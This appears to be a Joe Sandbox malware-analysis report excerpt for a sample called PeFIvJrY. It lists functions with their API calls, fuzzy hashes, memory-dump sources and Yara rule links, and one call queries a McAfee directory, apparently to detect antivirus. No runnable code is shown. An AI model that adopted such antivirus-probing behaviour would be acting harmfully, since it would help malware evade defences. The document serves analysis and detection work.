Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: CreateFile
String ID: `F
API String ID: 823142352-510860190
Opcode ID: 4b3d75baa8c419f0623ae27369b1416c4f4972b08d8faa6453aa77568c0e7ed9
Instruction ID: a6a1c845347c42b30f96973a4b5f68b0bbc4dbfc89fcc592a5f9701a6fe9ad71
Opcode Fuzzy Hash: 4b3d75baa8c419f0623ae27369b1416c4f4972b08d8faa6453aa77568c0e7ed9
Instruction Fuzzy Hash: 22217CB1A14619AFDB00CF59DC45BAEFBF8FB49714F10822AE814E7780D7B969048BD4

Function 00402520 Relevance: 3.1, APIs: 2, Instructions: 133filenativeCOMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00402601
NtQueryDirectoryFile.NTDLL(?,00000000,00000010,?,?,?,0040D019,00468C5C,McAfee\WPS\content\av-trust), ref: 00402677

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: Concurrency::cancel_current_taskDirectoryFileQuery
String ID:
API String ID: 2349893733-0
Opcode ID: 0aa61cfe8a2fd82bd45026e3b44ea01a353ca5e6defede7d5e0b7771f3216629
Instruction ID: 2a90b5cf591512a5cdeba4c26a754da4f3268bd0b7b4320af399ed805259977d
Opcode Fuzzy Hash: 0aa61cfe8a2fd82bd45026e3b44ea01a353ca5e6defede7d5e0b7771f3216629
Instruction Fuzzy Hash: CA41B472600208AFDB14CF68DD55A9ABBE8FB49310F10063EF916D7390D7B6A954CB94

Function 00405F60 Relevance: 3.1, APIs: 2, Instructions: 80COMMON

Download Yara Rule

APIs

DeviceIoControl.KERNEL32(0040C674,000900EB,00000000,00000000,?,00000250,?,00000000), ref: 00405FCB
GetLastError.KERNEL32 ref: 00406021

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: ControlDeviceErrorLast
String ID:
API String ID: 2645620995-0
Opcode ID: 04e641ec1fb86140a7d1631f186cff32dec831f1eaf7a8a8b476e896b9aa59fa
Instruction ID: 481f0870b27d6d286ceff04ecec3c3b188e6e4ea812a3fd8afbe570dae2f5b2e
Opcode Fuzzy Hash: 04e641ec1fb86140a7d1631f186cff32dec831f1eaf7a8a8b476e896b9aa59fa
Instruction Fuzzy Hash: 203152B4A052089FDB10DF64DC49BAEB7F4AB08304F5041AEE915A7381DB75AE44CF99

Function 00425626 Relevance: 3.0, APIs: 2, Instructions: 15timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimePreciseAsFileTime.KERNEL32(?,00424B1E,?,?,?,?,00424B53,A05DD77D,?,?,?,?,?,0042463E,0043BB75,00000001), ref: 0042563F
GetSystemTimeAsFileTime.KERNEL32(?,?,?,00424B1E,?,?,?,?,00424B53,A05DD77D,?,?,?,?,?,0042463E), ref: 00425643

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: Time$FileSystem$Precise
String ID:
API String ID: 743729956-0
Opcode ID: 15977bd66e7dbdc32aede047bad92e3bde5b96873450a8914fb1cc3cae41b53c
Instruction ID: 6fb57fc9440cc16266d1a9460a27507f428bfc13e8641e9bc812ff6101ce1af3
Opcode Fuzzy Hash: 15977bd66e7dbdc32aede047bad92e3bde5b96873450a8914fb1cc3cae41b53c
Instruction Fuzzy Hash: 34D02232B00A38D78B122F90FC045AD7F18FA4AB6238C0036FA0947220CBB21C104BDE

Function 00419D00 Relevance: 2.1, Strings: 1, Instructions: 857COMMON

Download Yara Rule

Strings

]uA, xrefs: 00419D28

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID:
String ID: ]uA
API String ID: 0-3367409732
Opcode ID: 535fe90985ea1ed41850480731cc03712c4a3a17051fdf9307385f7c098b2fe5
Instruction ID: d791682f568accd8d46cc3015fb0f821abe5dad6c06d3b5f7eb865ecaed707df
Opcode Fuzzy Hash: 535fe90985ea1ed41850480731cc03712c4a3a17051fdf9307385f7c098b2fe5
Instruction Fuzzy Hash: 4B727E74E052059FDB18CF69C4506EABBF2BF58300F18825BD846EB351E73899D2CB99

Function 0040B360 Relevance: 2.0, APIs: 1, Instructions: 542COMMON

Download Yara Rule

APIs

__aulldvrm.LIBCMT ref: 0040B7DE

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: __aulldvrm
String ID:
API String ID: 1302938615-0
Opcode ID: c84c5cd9668583c77f5f46140b28a9ca25975e1d128ad5f0d9ee327595e19082
Instruction ID: 302f7963b6ffb2a0121c66963e2d399897cc8ab08f8f879f79e7ffb8e7703690
Opcode Fuzzy Hash: c84c5cd9668583c77f5f46140b28a9ca25975e1d128ad5f0d9ee327595e19082
Instruction Fuzzy Hash: D1220B28E192C18FC70A9B7D95501ACFFB2DB5B20072881BFD9D5D7363C6348A4AC769

Function 0043901B Relevance: 1.8, APIs: 1, Instructions: 274COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,00439016,?,?,00000008,?,?,00438C20,00000000), ref: 00439248

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: 320e0a44221bb08c13791a964f315cf3d23cebd4edfca91fc28c346566873fe1
Instruction ID: d524b35ccba0a8371b8ac89635f1baa2330d78886d1d1fb6d1fd286d82769cc8
Opcode Fuzzy Hash: 320e0a44221bb08c13791a964f315cf3d23cebd4edfca91fc28c346566873fe1
Instruction Fuzzy Hash: 56B16F35610605DFEB14CF28C48AB567BA0FF09364F259699E89ACF3A1C379ED42CB44

Function 004191B0 Relevance: 1.7, Strings: 1, Instructions: 488COMMON

Download Yara Rule

Strings

]uA, xrefs: 004191D8

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID:
String ID: ]uA
API String ID: 0-3367409732
Opcode ID: bbf274435d54361ad22059b2d439a5fc3973483437367c667e9d2e5034b80913
Instruction ID: 504e5fb12da2a8a749ab313f64fc292f86d71b50c631b6d9b7c66a2c412de158
Opcode Fuzzy Hash: bbf274435d54361ad22059b2d439a5fc3973483437367c667e9d2e5034b80913
Instruction Fuzzy Hash: 79125170E006099FCB08CF69C4906E9B7F2BF58314F24826ED416A7745E739E996CF98

Function 0042622C Relevance: 1.6, APIs: 1, Instructions: 144COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 00426242

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: 3a0652957b94c65751ecaa035cc8ade31b91b0f146b4116cda52428a2f496f1e
Instruction ID: 7b016f5ca3908a463cb7123c52cdb2a794a8838f1a5dc7a156c89709ba8e5cd8
Opcode Fuzzy Hash: 3a0652957b94c65751ecaa035cc8ade31b91b0f146b4116cda52428a2f496f1e
Instruction Fuzzy Hash: 705181B1A002158BDB18CF99E9816ABBBF0FB45314F25857ED805E7351E3B99900CF69

Function 0042CAED Relevance: 1.6, Strings: 1, Instructions: 388COMMON

Download Yara Rule

Strings

0, xrefs: 0042CC82

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: c1de0305faece5705f446036fedc47572cdb626cf013c5b27a2252d9c2f40ff0
Instruction ID: 0a2ae5f7ae8fa281ffed41ecf2e6ec4e3655c5d9ffb253552512ca14627cd468
Opcode Fuzzy Hash: c1de0305faece5705f446036fedc47572cdb626cf013c5b27a2252d9c2f40ff0
Instruction Fuzzy Hash: B9E1AD70B006258FCB24CF28E5C1A6EBBB1FF45314BA4465FD45A9B390D738AD42CB5A

Function 0043303C Relevance: 1.6, APIs: 1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7ab4a2839f2287baed125f36495a183e79032d5ab567039cb894208fea70c7fb
Instruction ID: 7ddea0066d226893fbf7024c1d85fae41141ccd341a64ad5b04c447128be1602
Opcode Fuzzy Hash: 7ab4a2839f2287baed125f36495a183e79032d5ab567039cb894208fea70c7fb
Instruction Fuzzy Hash: 0F313472900219AFDB24DFB9CC88DBBB77DEB88314F14419AF905D7244EA34EE408B58

Function 0042C75F Relevance: 1.6, Strings: 1, Instructions: 344COMMON

Download Yara Rule

Strings

0, xrefs: 0042C8ED

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 2abe8b27b6dea7b2167edaa51354998dd9750d324749d5c5d7909ba605f66502
Instruction ID: 71d7cc87f99a5dd2ecb6189b62105c1d2700c14eb1c6d507e7ecab27e8983a78
Opcode Fuzzy Hash: 2abe8b27b6dea7b2167edaa51354998dd9750d324749d5c5d7909ba605f66502
Instruction Fuzzy Hash: 44C1FF70B0066A8FCB24DF28E4D076FB7A2AF45314FA4861FD45297391C738AD46CB59

Function 00406090 Relevance: 1.5, APIs: 1, Instructions: 46nativeCOMMON

Download Yara Rule

APIs

NtClose.NTDLL ref: 004060DD

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: Close
String ID:
API String ID: 3535843008-0
Opcode ID: 4767ca6bbdd4f35b0fa63db399399c87933254b465a6464eb5f06548f33a2a6d
Instruction ID: 75fc5f5100c78b8a637556c6567d15d84167fb611d7d5bb37f9eb5198634761e
Opcode Fuzzy Hash: 4767ca6bbdd4f35b0fa63db399399c87933254b465a6464eb5f06548f33a2a6d
Instruction Fuzzy Hash: 8301D831A48258DFD714CF58D805B6677A8EB09724F1441BFE806D77D0D77B9800CB88

Function 00426796 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_000467A2,00425F2C), ref: 0042679B

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: e69b9b65f8d4e5cc382fad9bed4a507efbd0fc2b7a21ecde5a811c37a3374345
Instruction ID: 7813b96c9b8250002290ed029b89396380b4a2f092ac0b8a175b413754be6ba7
Opcode Fuzzy Hash: e69b9b65f8d4e5cc382fad9bed4a507efbd0fc2b7a21ecde5a811c37a3374345
Instruction Fuzzy Hash:

Function 004135B0 Relevance: .5, Instructions: 544COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b1a13c1892399e18cc966883bfb29ece94d7e33c837d020d71dac5e4680327e7
Instruction ID: 22a4fb71f38837b87259d9891ee338f803d896cf0a7ead4750b7a462887ce9f9
Opcode Fuzzy Hash: b1a13c1892399e18cc966883bfb29ece94d7e33c837d020d71dac5e4680327e7
Instruction Fuzzy Hash: 5812E3B1A006058FCB24DF29D4816AAF3F1FF88315B14853FD85A97741EB39E985CB98

Function 0041A700 Relevance: .5, Instructions: 524COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a82505fcde4dbd2dbbd0442f6c8146852b5a0def08571afe8ebd44a05a29bd68
Instruction ID: 427c2c7934747a0677643f3068afec50e332ed7de267e0e9b830e2a353e78cb6
Opcode Fuzzy Hash: a82505fcde4dbd2dbbd0442f6c8146852b5a0def08571afe8ebd44a05a29bd68
Instruction Fuzzy Hash: DA124E71A016069FC724DF29C8409AAF7F6AF54304724CA3ED4AAC3B41E735F995CB86

Function 06301430 Relevance: .5, Instructions: 522COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3849680504.0000000006300000.00000040.00000800.00020000.00000000.sdmp, Offset: 06300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6300000_PeFIvJrY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1968064b506e494423fcef45e5640b402f3070c958a2950d49b1f4cb0382a17e
Instruction ID: 675094e9660efa9a98960d77a209a0dd34ffb7b017aa6bee8768756af268b813
Opcode Fuzzy Hash: 1968064b506e494423fcef45e5640b402f3070c958a2950d49b1f4cb0382a17e
Instruction Fuzzy Hash: 09527FB0500709EFE728EF54E8C8199BBB6FB6A324F904209C5515F2D8E77464EACF64

Function 0040BAF0 Relevance: .3, Instructions: 289COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5f7dd7546770ff8a512fd19ffc8ea56c155ee7232813058fd4dc4a6fe069dda5
Instruction ID: 3142676c601db73ebec77ea21c3e24af1b70b8e5947ec64bfd245a756a65a018
Opcode Fuzzy Hash: 5f7dd7546770ff8a512fd19ffc8ea56c155ee7232813058fd4dc4a6fe069dda5
Instruction Fuzzy Hash: 6DB15E71E002098BDF08CF69D9916ADF7B2EF98310F24453AE516EB391D738AD418B99

Function 063005A8 Relevance: .3, Instructions: 260COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3849680504.0000000006300000.00000040.00000800.00020000.00000000.sdmp, Offset: 06300000, based on PE: false

Joe Sandbox IDA Plugin

